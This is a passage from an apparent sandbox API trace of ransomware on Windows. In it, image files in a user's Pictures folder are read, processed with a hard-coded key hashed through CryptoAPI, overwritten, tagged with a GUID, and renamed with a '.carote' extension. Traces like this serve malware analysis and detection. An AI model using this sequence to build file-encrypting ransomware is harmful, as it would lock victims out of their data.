hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.514] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xdde2, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xdde2, lpOverlapped=0x0) returned 1 [0113.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.515] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdde7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.515] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.515] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.515] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.515] CloseHandle (hObject=0x61c) returned 1 [0113.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0113.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e0) returned 0x7b14908 [0113.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0113.516] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\kirDgSeSoWkTS HRY4R.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\kirdgsesowkts hry4r.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\kirDgSeSoWkTS HRY4R.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\kirdgsesowkts hry4r.jpg.carote")) returned 1 [0113.518] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.518] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0113.519] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba411a90, ftCreationTime.dwHighDateTime=0x1d4c563, ftLastAccessTime.dwLowDateTime=0x574ab330, ftLastAccessTime.dwHighDateTime=0x1d4d2f9, ftLastWriteTime.dwLowDateTime=0x574ab330, ftLastWriteTime.dwHighDateTime=0x1d4d2f9, nFileSizeHigh=0x0, nFileSizeLow=0x16dc1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TuJMzJjElwC1.jpg", cAlternateFileName="TUJMZJ~1.JPG")) returned 1 [0113.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x50f5608 [0113.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.519] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\TuJMzJjElwC1.jpg") returned=".jpg" [0113.519] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\TuJMzJjElwC1.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\tujmzjjelwc1.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.519] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=93633) returned 1 [0113.519] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.521] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16d9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.521] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.522] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.523] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x16dc1, lpOverlapped=0x0) returned 1 [0113.523] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.523] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.524] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.524] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.524] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.524] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.524] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.524] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.524] GetLastError () returned 0x0 [0113.524] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.524] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16dc0) returned 0x7b182e0 [0113.525] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.525] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x16dbc, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x16dbc, lpOverlapped=0x0) returned 1 [0113.526] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.526] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16dc1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.526] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.526] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.526] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.526] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.526] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.526] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.526] CloseHandle (hObject=0x61c) returned 1 [0113.527] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0113.527] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d0) returned 0x7b14908 [0113.527] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.527] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\TuJMzJjElwC1.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\tujmzjjelwc1.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\TuJMzJjElwC1.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\tujmzjjelwc1.jpg.carote")) returned 1 [0113.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.528] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0113.529] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf757ac40, ftCreationTime.dwHighDateTime=0x1d4cb4f, ftLastAccessTime.dwLowDateTime=0x42a90ac0, ftLastAccessTime.dwHighDateTime=0x1d4d386, ftLastWriteTime.dwLowDateTime=0x42a90ac0, ftLastWriteTime.dwHighDateTime=0x1d4d386, nFileSizeHigh=0x0, nFileSizeLow=0x10645, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="w6 gOvajiL.png", cAlternateFileName="W6GOVA~1.PNG")) returned 1 [0113.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x50f5608 [0113.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.529] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\w6 gOvajiL.png") returned=".png" [0113.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\w6 gOvajiL.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\w6 govajil.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.529] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=67141) returned 1 [0113.529] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.531] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1061f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.531] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.532] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.532] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x10645, lpOverlapped=0x0) returned 1 [0113.533] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.533] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.533] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.533] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.534] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.534] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.534] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.534] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.534] GetLastError () returned 0x0 [0113.534] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.534] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x10650) returned 0x7b182e0 [0113.535] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.535] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x10640, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x10640, lpOverlapped=0x0) returned 1 [0113.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.535] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10645, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.535] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.535] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.535] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.535] CloseHandle (hObject=0x61c) returned 1 [0113.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0113.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.537] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\w6 gOvajiL.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\w6 govajil.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\w6 gOvajiL.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\w6 govajil.png.carote")) returned 1 [0113.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.537] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0113.538] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf757ac40, ftCreationTime.dwHighDateTime=0x1d4cb4f, ftLastAccessTime.dwLowDateTime=0x42a90ac0, ftLastAccessTime.dwHighDateTime=0x1d4d386, ftLastWriteTime.dwLowDateTime=0x42a90ac0, ftLastWriteTime.dwHighDateTime=0x1d4d386, nFileSizeHigh=0x0, nFileSizeLow=0x10645, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="w6 gOvajiL.png", cAlternateFileName="W6GOVA~1.PNG")) returned 0 [0113.538] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109ae8 | out: hHeap=0x5010000) returned 1 [0113.538] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0113.538] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.540] HeapFree 